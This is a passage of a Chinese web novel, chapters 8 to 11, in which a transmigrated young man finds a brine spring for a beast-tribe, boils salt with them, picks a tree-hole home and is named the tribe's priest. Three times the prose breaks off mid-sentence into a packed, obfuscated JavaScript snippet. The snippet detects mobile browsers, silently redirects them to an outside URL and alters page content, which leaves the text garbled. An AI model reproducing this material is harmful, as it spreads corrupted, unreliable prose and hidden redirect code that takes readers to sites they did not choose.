“尝尝。”花时安摊开双手将马齿苋递到木族长面前。 要是其他人拿着野菜说是盐,木族长指定给他一巴掌,但说这话的人是安,唯一接触过外乡人的安。 新鲜的马齿苋拿到手里,木族长咬下一片挂着水珠的嫩叶,甚至都没有咀嚼,他忽然愣住,眼睛瞪如铜铃。 见他迟迟不说话,围观族人急得抓耳挠腮,忙地追问:“怎么样啊族长,是盐吗?” “你是不是傻,这分明是马齿苋,怎么会是盐。”另一个兽人嘲笑他。 “是盐,真是盐!” 回过神的木族长振臂高呼,紧接着将剩余野菜全部塞进嘴里,边嚼边与族人说道:“菜是野菜,但吃起来是咸的,快,你们快尝尝!” 围观兽人如饿狼扑食,分分钟将花时安手中野菜扫空。 咬上一口马齿苋,久违的咸味在口腔中迸发,兽人们惊呆了,哭的哭,笑的笑,欢呼声与嚎叫声此起彼伏。一时间,树洞好似那烧开的沸水。 激动过后理智回归,木族长笑得合不拢嘴,甚至忘了亚兽有别,紧紧攥着花时安的手腕,“安啊,你可真是部落的贵人。” “一直没找到盐石,昨个儿我还在跟勇商量,我们还想着要不等部落稳定下来,让他带几个兽人回晴空森林捡盐石呢,没想到今天你就把盐找回来了。” “不过这到底怎么回事?”木族长咂了咂嘴,感受着嘴巴里的咸味,继续问道:“野菜分明就是天天吃的马齿苋,味道也一模一样,怎么就多了股咸味?难道你把盐石敲碎撒进去了?” 都亲自尝过味道,没有人质疑的感觉真好,花时安扬起嘴角笑了笑,轻言细语地解释道:“我找到的不是盐石,是一汪盐泉。那是一个还没有树洞大的水潭,水应该是从地底下冒出来的,很咸很咸,马齿苋我放在里面浸泡过,所以吃起来才会有咸味。” “盐泉?盐在水里面?”兽人勇一脸震惊,赶忙追问。 活了大半辈子也没听说过水里有盐,木族长瞪大眼睛看着花时安,“水带有咸味?泉水怎么会有咸味?我们以前也喝过泉水,没味儿啊!” 这解释起来太复杂了,难道从地下水溶滤开始讲?犹豫了一下,花时安一句话含糊带过:“可能水把地底下的盐石泡化了,所以变成了咸水。这不重要,重要的是我们以后有盐吃了。” 木族长哈哈大笑两声,又在花时安的手背上拍了两下,“你说得没错,有盐了,咱们有盐吃了!明天先别急着去捡板栗,我们先去安说的地方,弄点盐水回来。” “好哦!” “太好了!天晴了,盐也有了,可以生火煮野菜了!” “别说了,我好馋。” “哈哈哈……” 树洞宛如闹市,所有人都沉浸在找到盐的喜悦中,而这时,兽人勇板着脸,面无表情道:“明天不行。” 木族长一愣,“为、为什么?” “因为……”兽人也学会了吊胃口,尾音拉得很长,低声笑道:“树洞全部掏好了,我们明天搬家。” 8. 第 8 章 微风拂晓山林,薄雾渐淡,偶闻鸟叫虫鸣。 晨露如雨水坠入灌木丛,砸落在高耸入云的巨型红杉树脚下。身着草裙的兽人浑然不觉,他们在巨树之间奔跑,跳跃,像是寻到了不可多得的宝物,欢呼雀跃。 “哇,这些都是兽人掏空的?好漂亮、好宽敞的树洞。” “树不是很硬吗?他们怎么做到的?” “也是安发现的,他说有些大树会自己变空。” “他好厉害呀,什么都懂。” “是啊是啊,他要是兽人就好了,我要当他伴侣!” “族长族长,可以开始选了吗!” …… 七天过去了,紧邻草地的巨型红杉树群彻底大变样,像是被岁月洪流雕琢,树木粗壮的树蔸多出一个小而温馨、半人高的大洞。 早早赶来的兽人穿梭在各个树洞之间,眼看心急的小兽人都快抱着家当住进去了,木族长果断拍拍手,高呼一声:“好了好了,看也看得差不多了,都从树洞里出来,听我说。” 族长发话才能挑选树洞,真正地住进去。 所以一听到族长的声音,兽人们按下激动迫切的心情,齐刷刷钻出树洞,来到两棵巨树之前,堆放家当的空地上集合。 见人到齐,木族长也不磨叽,他清了清嗓子,颇为郑重其事道:“这段时日大家辛苦了,尤其是天天给我们带食物回来的采集队,卖力给我们掏树洞的兽人。多亏了大家的努力,我们有了新树洞,有了水和食物,还找到了盐。日子也慢慢好起来了,” 族人早已等不及,人群中不时飘出几声低语,木族长摆摆手示意安静,继续道:“知道你们着急住新树洞,话就不多说了。能从晴空森林里逃出来,顺利活到现在,离不开那群年轻人的辛劳付出,所以这树洞啊,我决定让他们先选。” 多劳多得,惯来如此,年轻人对部落的贡献有目共睹。 没有人反对,说话的也只是催促他们快些选,好轮到自己。 木族长欣慰地笑了,朝站在一旁的花时安招招手,“安,你先来。你为部落找到了食物,又找到了盐,你第一个挑选树洞,给大家开个好头。” 第一个啊?花时安犹豫了一下,摆摆手道:“不了吧,树洞是他们兽人辛辛苦苦掏的,还是让他们先——” “你先,你有这个资格。”勇打断他的话,眼睛却不看花时安,看着那些眼巴巴地族人道:“快些选吧,大家还等着。” 早晚都得选,花时安不再客气,抬头望向前方茂密的巨杉。 虽未参与树洞挖凿,但每天都要来这边转一圈,花时安对这些树洞还算了解。大部分树洞他都钻进去看过,其内部空间有大有小,但差距不会太大。 与其说是选树洞,不如说是选环境,就像看房一样。 如果把巨杉树群看作一个小区,那么这个小区有三种房型:邻草地靠近小河的“河景房”,背靠森林亲近自然的“森景房”,还有就是夹在两者之间的“街景房”。 “河景房”无疑是最受欢迎的,开始兽人们也想过只掏紧邻草地的巨杉。但这一片的巨杉不算密集,树与树之间有一定距离,而部落人又多,如若沿着草地掏一排树洞,太远,太分散了,住在两头的族人可能吃个饭都要走几里地。 四下环视一圈,花时安心中已有答案,他抬手指向紧挨草地,粗壮却有些畸形的歪脖子树,毫不犹豫道:“我要这棵。” 不是最粗的树,也不是最好的位置,树木长得还奇形怪状。 木族长看了眼歪脖子树,扭头看向花时安,皱着眉头道:“你别不好意思,选这歪脖子树做什么。我瞧着那棵不错,要不你选那个?” 当他不好意思,木族长主动给他指了一个粗壮笔直,比周围树木大上不少的巨杉树。花时安十分感激,礼貌拒绝:“就要歪脖子树吧,不过族长,我有一个请求,我能不能自己单独住?” 短短几天时间,兽人再有劲也不可能给每个人掏一个树洞,毕竟五十多个人。如今的树洞两三人住正好,有亲人的一家子一个,像花时安这样失去亲人的,也会和其他亚兽人同住。 选一个次一点树洞,要求单独住,以他目前在部落的地位,多半—— “哈哈哈哈!”好似看穿了花时安的想法,木族长哈哈大笑几声,“早说嘛,你是功劳最大的,不选歪脖子树也能单独住。重新选还来得及,要不要换一棵?” 花时安摸了下鼻头,“不用了族长,歪脖子树挺好。” “成,那歪脖子树就归你了。”木族长干脆利落地应下,旋即朝旁边招招手,“来来来,下一个,勇、朗……” 兽人们依次挑选树洞,花时安站在旁边看了一会儿,眼瞅着都选得差不多了,他拎着自己为数不多的家当走向歪脖子树。 歪脖子树歪得很别致,底部树干笔直,顶部树干及树冠也挺直,唯独中间歪了一截。大概离地面五六米处,它的主干横着长出一段,远远看去有点儿像闪电的标识。 洞口开在侧面,在树干横面下方,周围杂草灌木长疯了,比人还高,花时安费了点劲才成功走到洞口。不过侧面绿茵茵的草地看着很舒服,微风吹过草香扑来,闻着就叫人心旷神怡。 为了阻挡风雨,洞口开得很小,还很矮,花时安弯腰驼背,侧着身体刚好钻进去。 树洞内部和宽敞也沾不上边,高度有一米五,猫着腰才能顺利移动,长宽均在两米左右,容纳两三个人不成问题。总的来说,这树洞就相当于现代社会的双人大床。 相比人挤人的大树洞,花时安对这个小树洞已经很满意了。唯一的问题在于树洞“纯手工”打造,头顶与洞壁坑坑洼洼,斑驳着腐木,看着让人有点不舒服。 门前杂草需要清理,树洞内部还需打磨,接下来有的忙。 就几件家当没什么好收拾的,用棕片靠着洞壁铺了一张简陋的床,花时安拎着棕包钻出树洞。 一会儿工夫,所有人都选好了树洞,住在四周的邻居已经开始除草了。花时安拔开遮挡视线的杂草看了眼对门,趴在那除草的邻居是兽人勇和兽人朗。 斜对面环境没那么好的“街景房”,头发花白的年迈老人弯着腰在树脚下拔草,而他身旁与灌木作斗争的——兽人山。 兽人格外敏锐,花时安不过是多看了他两眼,埋头掰灌木的山倏地抬起头,准确看向花时安所在的方向。 见到是花时安,他明眸一弯,露出一个纯良无害的笑容,“我还以为是谁呢,原来是你啊安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409127|168805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 距离有些远,说话都得扯着嗓子,花时安往前走了几步,“出来认认邻居,没想到看见了你。” “邻居?邻居是什么?”山丢下灌木穿过草丛,笑吟吟地站在花时安身前。 花时安耐心解答:“树洞挨树洞,住在一块的就叫邻居。” 山嘿嘿一笑,“这样啊,那我们以后就是邻居了。” 花时安没接话,若有所思地看了他一眼,轻声问道:“你怎么会住在这里,树洞是你自己选的?” 兽人有优先选择权,被族人嫌弃的不祥之人有吗?山最近跟着勇他们掏树洞,没有功劳也有苦劳,应该不会被剥夺选树洞的权利吧? 没想到他会这样问,山愣了下,“是、是我选的。” 花时安“哦”了一声,又问:“那你怎么不选草地那边的树洞?那边环境更好,住着也会更舒服一点呀。” “我、我……”山不知所措地挠了挠头,眼底带有一丝窘迫,“住哪都一样,有地方睡觉就成,我、我不在意这些。” 真的是这样?兽人略微慌乱的神情已然说明一切。 没有剥夺他选择的权利,但背着这样的污名,应该也没有兽人愿意和他住,担心占了好树洞被人说,于是选择和年迈老人一起住。 老人就不嫌弃了? 花时安看向那位脸比锅底还黑的老人,默默感叹:未必! 除完草已是正午,剩下的收尾工作留给老人与伤患,其他人则打起十二分精神,准备跟着花时安去盐泉一探究竟。 心里眼里全是对盐的渴望,以至于他们忽略了一个问题。 人到齐了,一行人兴冲冲地准备出发了,走在前面的木族长突然一拍大腿,面向众人道:“坏了,我给忘了,安说那是盐泉!” “是盐泉啊,盐泉怎么了?”没反应过来的小亚兽人问道。 木族长抓耳挠腮,急得直跺脚,“泉是什么?水啊!又不是上山捡盐石,我们什么东西都没有,怎么把水弄回来?用手捧?” “对哦,那咋办?” “趁着还早,赶紧找吧!” “用石头行不行?这些天找来当石锅的石头。” “不行,那太沉了,安说那地方远。” 族人议论纷纷,却始终没有想出完美的解决办法。 而就在这时,一直没吭声的花时安站了出来,不紧不慢道:“我有个想法。我觉得不一定非要把盐泉弄回来,我们还可以……从盐泉中把盐提、分离出来。” “分离?”木族长瞪大了眼睛,“盐还能从水里弄出来?” 花时安“嗯”了一声,“就是比较麻烦,要准备一些东西,还要花很多时间。” “时间有的是,今天不找食物都行,得先把盐弄回来。”兽人勇看向花时安,下巴一抬,“要什么你说,我们这就去找。” 盐水弄回部落也要提取食盐,不如就地提了,花时安托腮琢磨片刻,有条不紊地安排道:“找到能当石锅的石头了对吗?挑两口最大的抬过去,然后大家一块捡树枝捡木头,越多越好。” “又是锅又是柴火,要生火?”好奇的兽人问。 花时安点点头,“没错,我们要生火烧盐水,把盐煮出来。” 9. 第 9 章 “来,使劲!稳住稳住,起!” 形同水槽的长条石锅又大又沉,两名兽人合力将其抬起,小心翼翼地往旁边挪动,最终将它架在石块垒砌出来的火塘上。 石锅刚刚放稳,四个亚兽人匆匆走上前,他们手中拿着比小腿还粗的竹筒,而装在里面的正是不远处盐泉中舀出来的盐水。 斜坡又走下来一队人,他们抱着枯枝、腐木,蚂蚁搬家似的来回穿梭在森林与乱石滩之间,很快便在乱石上堆起一个比人还高的干柴堆。 万事俱备,东风……东风点不着。 石锅侧方光滑的石头上,花时安夹着一根削尖的木棍卖力揉搓,胳膊都搓酸了,石头上用枯木制作的钻火板愣是一点颜色都没变,一缕青烟都没冒出来。 以前在纪录片里看人家钻木取火,花时安还觉得简单,有手就行。真轮到自己动手,可拉倒吧,野外生存真没那么简单。 “怎么样安,点着了吗?” 清脆的女声从不远处传来,捡柴归来的兰未做歇息,步伐轻快地向他走来。 自告奋勇来生火,结果折腾半天连个火星子都没搓出来,花时安尴尬地摸了摸鼻尖,坦然与兰承认自己的失败:“没,没点着,不知道哪里出了差错,一点要点着的迹象都没有。” “原来你也有不会的呀!我看看。”兰像是发现了新大陆,勾起嘴角笑了笑,友善又带着调侃的笑。 花时安轻笑一声,“当然,我也只是一个普通亚兽人。” “才不是!你才不普通,你懂得可多,是我见过最厉害的亚兽人,比兽人还厉害。”兰不遗余力地夸赞,毫不掩饰对花时安的崇拜与欣赏。 好家伙,这一顿夸,高帽子戴的花时安都不好意思了。 兰没注意到花时安的难为情,说着她往地上一蹲,拿起花时安制作的钻棍、钻火板。 只是几秒就找出了问题所在,她用指甲在钻火板上掐了一下,看着花时安摇摇头,“你的方法没错,木头没选对。以前在部落你应该很少生火吧?老人教过我们呀,钻棍要硬,钻板要软,这样才能更好更快地搓出火星子。” “钻板要软?软到什么样?”花时安求知若渴地看着兰。 “你看。”兰拿着钻火板凑到花时安跟前,又用指甲掐了一下,给他做示范:“掐一下能留印子就刚好合适,你选这个太硬了,我使劲都掐不出印子。” “原来是这样。”花时安又行了,麻溜地从石头上爬起来,立马就要跑去旁边柴堆找木头。 兰抓住他的胳膊,一把拉住他,“别急呀,我还没说完。” “啊?”花时安步子一顿。 这个时候的安才像一个没长大的亚兽人,兰晃了晃手中钻棍,笑着和他说道:“钻棍要硬,要选比大指头细,比小指头粗的树枝哦。” “我知道了,谢谢你兰。” 重新选木头,削钻棍,多亏了兰的友情指导、族人辛苦打磨出来的石刀,两口石锅加满盐水后,花时安搓出来的火星子终于点燃了火绒。 生火添柴,开始煮盐! 从没听说过盐还能煮出来,兽人们稀奇得很,全都目不转睛地围着石锅看。可时间一点点过去,枯枝腐木噼里啪啦地烧了许久,石锅里的水纹丝不动,一点温度都没有。 原因无他,锅太厚了。 石锅是族人在森林里找的,天然内有凹陷的石头,然后通过打凿将凹陷扩大,勉强有了个锅的形状。 始终不是科技发达,工具齐全的现代社会,打凿石头的工具还是石头。将凹陷扩大做成石锅已极其不易,要想做成现代社会那样薄而轻盈,光滑平整的石锅——难如登天。 厚有厚的好处,不容易烧裂,使用寿命长。 当然坏处也很明显,比如导热慢,非常非常慢。 多费点时间而已,花时安有的是耐心。只是旁边的族人像身上长虱子了一样,一个个坐立难安,抓耳挠腮,耐心不了一点儿。 一群人干等着也不是个事,花时安琢磨了一下,拍了拍身侧焦急等待的木族长,温声提议道:“把盐煮出来还需要很长时间。柴火也够了,我看不如这样,其他人还是去找食物吧,留几个人在这帮忙就行。” 都想知道盐是怎么煮出来的,没一个人愿意离开,花时安这话一出,兽人、亚兽人纷纷举起手,踊跃报名: “我,我留下帮忙!” “安我力气大,我留下。” “我我我!” “行了行了,别吵。”木族长摆了摆手,待众人重新安静下来,他看了眼没什么动静的石头,向花时安确认:“大概还要多久?是不是水煮沸了就成?” 花时安笑着摇摇头,“早得很,煮沸了才刚刚开始,要让水持续沸腾,直到——把水煮干。” 最后一丝希望破灭,还等着看盐的木族长重重叹了口气,“罢了,找食物要紧。” “那竹子还砍吗?”刚才被安排砍竹子的勇问道。 舀水需要容器,没有比竹子更好的选择,来的路上经过竹林,花时安便让勇带了几个兽人去砍竹子。 崭新的石刀到手,兽人们砍的那叫一个起劲,就这么一会儿工夫,柴堆后面已经堆了二十多根粗细不一的竹子。 花时安回头看了眼,赶忙摇摇头,“暂时不用了。” 木族长又问:“那留几个人在这?留谁?要不自个儿挑?” “行啊。” 花时安答应的倒是快,但一扭头他就傻眼了。 一群人直勾勾地把他盯着,像是幼稚园里等待领取糖果的孩子,亮晶晶的眼睛里蕴藏着期待,希望被选中的人会是自己。 没想到盐的诱惑力这么大,花时安哭笑不得,但只是犹豫了一瞬,他云淡风轻地叫出几个熟人的名字:“兰和简,还有……山。” “山?”木族长诧异地挑了下眉,明显觉得不妥,自顾自地安排道:“煮盐这等大事还是交给其他人稳当,朗,你留下帮——” “族长,”花时安打断木族长的话,语气依旧沉静柔和:“看看火,添添柴,不是什么大事,主要是我和山熟悉,还可以说说话。” 木族长没有说话,扭头看了山一眼,而就是这一眼,人群中外围茫然无措的山低下了头,支支吾吾道:“还、还是让朗留下好了,我、我帮不上什么忙。” “哈哈,你看这……”木族长打了个哈哈,试图糊弄过去。 当事人已经婉拒了,聪明人就该顺势换个人,花时安却笑笑道:“没事啊,他不会我可以教。” 木族长不再强求,转身朝旁边招招手,“那行。山和兰、简留下,其他人跟我走,咱们找食物去!” 族人恋恋不舍地跟着木族长离开,爬上斜坡渐行渐远。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409128|168805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>大部队一走,乱石滩顿时安静下来。 两个人盯一口锅正好,兰拉着弟弟简走到另一口石锅跟前,盯火添柴。而大块头山站也不是坐也不是,杵在花时安旁边跟一座雕像似的。 没有人说话,气氛忽然变得有点奇怪。 山意识到了什么,想说话来着,但几度张嘴没憋出一个字,站在旁边挠头,一脸无措。 将一块腐木塞进火塘,花时安无奈叹了口气,扭头望着他,“明明你也想留下煮盐,为什么刚才要拒绝?” 这一问山更慌了,又怕花时安生气,磕磕巴巴地解释:“族长说、说煮盐是大事,我怕我做不好,耽误事儿。” “做都没做,你怎么知道一定做不好?”花时安问。 “我脑袋笨,不如朗聪明。”山非常自然地贬低自己,而后咧着嘴笑了笑,又补充道:“再说族长也想让朗留下,我、我也怕他不高兴。” 都能看出木族长的意图,这还叫脑袋笨? 花时安轻哼一声,冷着脸不急不缓道:“怕族长不高兴,那就不怕我不高兴咯?我当你是朋友,看你想煮盐才叫你留下,而你却因为怕族长不高兴,拒绝了我。这会让我很尴尬,就算不生气,下次遇到这样的事,我一定不会再叫你了。” 山肉眼可见地慌了,笑意瞬间凝固在眼底,红润的脸颊渐渐褪去颜色,一片惨白。 勉强从慌乱中找回理智,他俯身蹲在花时安身旁,嘴唇微微发颤,边比画边解释:“对、对不起安,我太笨了,没有想到这一点。我、我……” 瞧他红着眼睛都急快哭了,花时安终是于心不忍,伸手在他肩膀上拍了拍,“好了好了,我没有不高兴,逗你呢。” “真、真的?”山呆呆看着花时安,迫切的确认。过了两秒,他后知后觉地看向肩膀上那只手,整个人突然僵住,苍白的脸颊染上一抹异样的红。 亚兽有别,被嫌弃的兽人和亚兽人说话的机会都很少,更别说摸亚兽人的手。 亚兽人的手原来是这样的吗,白白的,软乎乎的……脑袋不受控制地胡思乱想,山知道这不好却无法遏制,耳朵里充斥着自己如雷鸣般的心跳声。 “咳。” 看着兽人越来越红的脸,慢半拍的花时安终于反应过来了。他及时抽回手,握拳抵唇轻咳一声,“好了,真的没有不高兴。做事去吧,你和简拿上石刀,去把柴堆后面那些竹子劈一下。” “哦哦,好。” 山嘴上答应着,却依旧没有站起来的意思,花时安添了点柴火再转过头,山仍目不转睛地看着他。 “还有什么——” “你能原谅我吗?我、我那会儿脑袋没转过来弯,以后我会改的。”兽人语气诚恳而真挚,眸中满是歉意,还带着一丝小心翼翼。 纵使有气也散了,花时安朝他笑了笑,“嗯,原谅你了。” “那、那以后还会叫我吗?”兽人固执地追问。 “可以啊,如果你愿意的话。”花时安继续往火塘里添柴,头也没回道。 悬在嗓子眼的心重新落回胸膛,山咧着嘴高高兴兴地站起身,拿起放在石头上的石刀。就在他准备去后面劈竹子时,清越悠扬的男声再度响起: “山,想要的东西要学会自己争取,不要傻乎乎地当老好人。礼貌谦让的确是做好事,但不能委曲求全,亏待了自己。” 10. 第 10 章 大火持续烹煮,石锅中沸腾的盐水在高温中逐渐蒸发。 高悬穹顶的太阳缓缓西方倾斜时,积底的盐水彻底煮干了,颗颗分明的淡黄色晶体附着在锅底与锅壁,好似那晶莹剔透的钻石,在阳光下闪烁着细碎的光点。 石锅温度还没降下来,花时安已经迫不及待了。他拿着事先准备好的竹片充当锅铲,沿着锅壁边缘小心翼翼地刮下一层盐晶。 盐水倒入石锅前用棕片过滤了一遍,但煮出来的盐晶依旧有些杂质。淡黄色盐晶略有些粗糙,颗粒感明显,像粗一点的砂砾,与花时安吃过的食盐相差甚远。 好不好看不重要,重要的是味道。 花时安捻了几粒盐晶,伸出舌尖轻轻一舔,醇厚的咸味与微微的苦涩瞬间在齿间弥漫开。 齁咸,微苦,味道无限接近粗盐,不过仔细品尝还能尝到一点淡淡的土腥味。 “怎么样怎么样,是咸的吗?我们成功了吗?” 除了花时安还有三个人围在石锅跟前,一脸期待的兰,神色凝重的简,顶着一脑门汗的山。 从铲盐开始,他们不约而同地屏住了呼吸,大气都不敢出,直到花时安亲自品尝盐晶,兰再也忍不住了,急急忙忙地追问。 与生存息息相关的盐,花时安没有卖关子,他将盛着盐晶的竹片递到三人面前,嘴角扬起愉悦的弧度,“当然是成了,你们看,这就是粗盐。虽然有点苦味和土腥味,但混在食物里应该吃不出来。” “来,你们尝尝。” 单凭一潭水就弄出了盐,这也太神奇了! 兽人们大喜过望,顿时笑出了声,而后纷纷伸手在竹片上捻起一大撮盐,迫不及待地品尝。 当吃野果呢,那么大一撮!花时安想阻止已经来不及了,盐晶一粒不漏地进了兽人嘴里,他们满是喜悦的脸颊顿时变得无比扭曲。 “哎呀我好像吃多了,好咸!” “呸呸呸,这也太咸了,比盐石还咸。” 姐弟俩被盐晶齁的直皱眉,赶忙退到旁边吐口水。 而同样眉头紧皱的山却没有吐,梗着脖子硬生生咽了下去。 不用想都知道有多齁,花时安下意识拧了下眉,担忧地看向他,“咸就吐掉,咽下去做什么,不嫌齁的慌?” 山有些难为情地摸了摸头,咧着嘴嘿嘿傻笑,“还、还好,不咸,盐来得不容易,不能浪费。” 听到这话,刚把盐吐掉的兰小脸一红。 看着石锅中那薄薄一层盐晶,简眸中喜悦淡去,愁容尽显,“哎,盐虽然是煮出来了,但这量也太少了,半个下午就煮了这么点,不知道够不够吃一顿。” “这可是盐!”兰瞪了弟弟一眼,有理有据地反驳道:“煮食物的时候放一点咸味就行,你还想当野菜吃?再说我觉得这盐比盐石更咸更有味儿。” 花时安点点头,笑着附和道:“量确实不多,两口锅刮下来估计也就一把盐。但和兰说的一样,这可是盐,两锅水能煮出这些盐已经不少了,含盐量远远超出了我的预期。” “含盐量高比什么都强,横竖不过是耽搁点时间,多煮几锅的事儿。潭中盐水又不是用一点少一点,它底部有泉眼,正源源不断地往外渗水,往后隔三岔五让人过来煮一煮,部落就有吃不完的盐。” “那还等什么,赶紧帮忙呀。”兰越听越兴奋,俯身地抓起竹片,朝愣在一旁的简和山招招手,“下午才过了一半,咱们快点把盐弄出来,趁着时间还早继续煮!” “好!” “来了。” 两个兽人齐齐上前帮忙。 刮盐、滤水、添柴……只剩四人的乱石滩重新忙碌起来。 这一忙就是一个下午,直到夕阳西下,天色渐暗。 天快黑透了,最后两锅盐水煮干,花时安和兰赶忙用竹片刮下盐晶,全部装进竹筒中。两个兽人则听从花时安的安排,拿空竹筒舀水泼石锅,帮助滚烫的石锅快速降温。 刚搬了新家,又有了食盐,今晚应该能吃上一口热乎食物。但必须把最大的两口石锅弄回去,不然……没东西煮。 石锅温度还没彻底降下来,外出寻找食物的大部队回来了。嘈杂凌乱的脚步声以极快的速度逼近,花时安一抬头,一群人愣是跑出了千军万马的气势,卷着落叶灰尘争先恐后地冲下斜坡。 人高马大的兽人跑在前面也就算了,那撒丫子狂奔,夹在几个兽人中间的瘦弱中年男人是怎么回事?是他认识的木族长吗? 花时安惊呆了,等他回过神时,木族长和勇已站在了面前。 一秒都不带歇的,木族长颤颤巍巍朝花时安伸出手,上气不接下气道:“盐呼呼……盐呢?煮、煮出……出来了没?” 手抖如筛糠,险些一口气没上来,知道的他要拿盐,不知道的还以为他要拿速效救心丸呢。花时安不敢耽搁,赶忙唤了一声兰:“快把盐拿给族长看看。” “哦哦好。”兰麻利地从石头缝里取出一个竹筒。 装着盐晶的竹筒真就像是速效救心丸,木族长一拿到手,手不抖了,呼吸也变轻了,生怕气息重了把盐呼走。 手臂粗的竹筒,满满当当一大罐。 这就是盐吗?晶莹剔透的白色结晶宛如夜空中的繁星,在微弱的光线下闪烁着璀璨夺目的光芒。 好似对待不可多得的宝物,木族长轻而缓慢地将竹筒搂在胸口,腾出另一只手,旋即小心翼翼地从竹筒中捻起一撮。 几乎是同一时间,周围气喘吁吁的兽人、亚兽人一拥上前,纷纷伸手在竹筒中沾盐,放入口中仔细品尝。 盐晶入口,四周响起一阵明显的吸气声,随着一声惊呼炸响,被夜色笼罩的乱石滩瞬间沸腾起来。 “盐,真的是盐!” “好咸,好有味儿。” “好神奇呀,这亮晶晶的东西真是水煮出来的?” “太好了太好了,我们有盐了!” …… 欢呼声不绝于耳,木族长如获至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409129|168805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝地抱着竹筒,仰头哈哈大笑,“哈哈哈,哈哈哈!兽神庇佑,兽神眷顾我松鼠部落啊!” “可不光是兽神庇佑,能找到盐还得多亏了安。”不苟言笑的勇扬着嘴角看着花时安,复杂的眼神中带着欣赏与感激。 “没错!”木族长重重点下头,旋即将目光转移到花时安身上,颇为郑重其事道:“能找到食物,能找到盐,能这么顺利地在巨树森林安家,安怎么说都要占大半功劳。” “咱们松鼠部落也好些年没有祭司了,我看这也是兽神的指引。不如这样吧,从现在开始,亚兽人安,他就是我们松鼠部落的祭司!” 铿锵有力的话语回荡开,刚刚安静下来的人群又炸开了锅。 “祭、祭司?祭司该是年长的兽人啊!” “祭司大人可是兽神的使者,安、安也可以当祭司?” “为什么不行!安为部落做了多少贡献?还管什么兽人亚兽人。” “就是!没有安说不定我们早就饿死了,他是兽神派来拯救我们的,他就该是祭司大人!” “好耶,祭司大人!” “安,以后你就是我们的祭司大人!” 质疑的,认同的,肯定的……无需木族长多费口舌,兽人们自个儿就把自个儿说服了。一群人好似打了鸡血,激动不已地冲上前,将花时安团团围住。 莫名其妙就被围在了人群中,莫名其妙就当上了祭司,花时安一时间还有点蒙。而在记忆里仔细搜寻了一遍,他总算是明白了祭司到底是个什么“职位”。 祭司,传闻离兽神最近的人,又被称为兽神使者。据说祭司会感悟到兽神冥冥中的指引,从而预测即将到来的灾难,或是做出利于部落发展的决定。 嗯……有点类似古代的国师? 平日里需要做些什么花时安也不是很清楚,部落已经很久没有祭司了,一直活在传闻中。唯一清楚的就是祭司地位高,必要时候,一族之长都得听祭司安排。 欲戴王冠必承其重,祭司应该不是那么好当的。 花时安下意识就要拒绝,然而没等他开口,木族长摇头晃脑地感叹:“让安当祭司并非一时兴起,之前我就奇怪。你们想想,安在森林遇到外乡人,外乡人教他辨认植物,教他认的植物又是巨树森林里的植物,而我们逃难又刚好逃进巨树森林,这一切的一切,是不是太巧了点?” “嘶,好像是哦。”兽人朗倒吸一口凉气。 另一个兽人瞪大了眼睛,“这么一说确实,难道是……兽神的指引!” 木族长得意一笑,尤为笃定道:“没错!所以说啊,安就该是部落的祭司!他遇到的外乡人兴许就是兽神的化身,特意来给我们指明方向,帮助我们渡过难关。” “兽神庇佑!” “感谢兽神,感谢祭司大人!” 花时安:……祭司就祭司吧,也不是不能当。 或许这世界真有兽神呢,他来到这世界本身就是一场梦幻奇妙的旅行。 11. 第 11 章 夜深了,漆黑的夜空一颗星星都没有,厚重浓稠的黑暗将森林紧紧包裹,唯有群树之间,开阔平整的空地亮着微弱的火光。 折腾半宿,石锅里的野菜蘑菇汤终于煮好了。花时安左手端竹筒,右手拿树枝筷子,一口蘑菇一口野菜,安抚着自己饥饿已久的胃。 煮熟后的马齿苋好吃多了,淡淡的酸味结合浓郁的清香,爽脆又开胃。蘑菇干吸饱汤水重新胀大,比鲜蘑菇弹牙有嚼劲,菌香浓郁,味道极为鲜美。 没有其他调味料,整锅汤只有盐的咸味和食物原本的味道,但对于十天半个月没吃上热食的兽人来说,这锅热汤已是难得的美味。 穿越以来的第一顿熟食,花时安同样吃得很满足。连菜带汤满满一竹筒下肚,他甚至还有点意犹未尽,舔了舔嘴唇望向火堆上的石锅。 可惜锅中蘑菇野菜早已分完,又重新煮上了清水。 这几天收获的食物不算少,所有人敞开肚皮吃也能维持个几天。可人多锅小,篮球场一般大的空地上燃着五六个火堆,一个火堆一口石锅,而边上又围着十多个人,吃不够太正常了。 花时安这边还算好,他与兽人坐一块,煮菜的石锅也是今天煮盐的,部落最大的两口石锅之一。但……大的不只是锅,还有兽人的胃口。 好在部落不是只有野菜蘑菇,他们还有饱腹美味的板栗。 竹筒和筷子放在身旁,花时安从木族长身前拿起一根黑漆漆的长木棍。 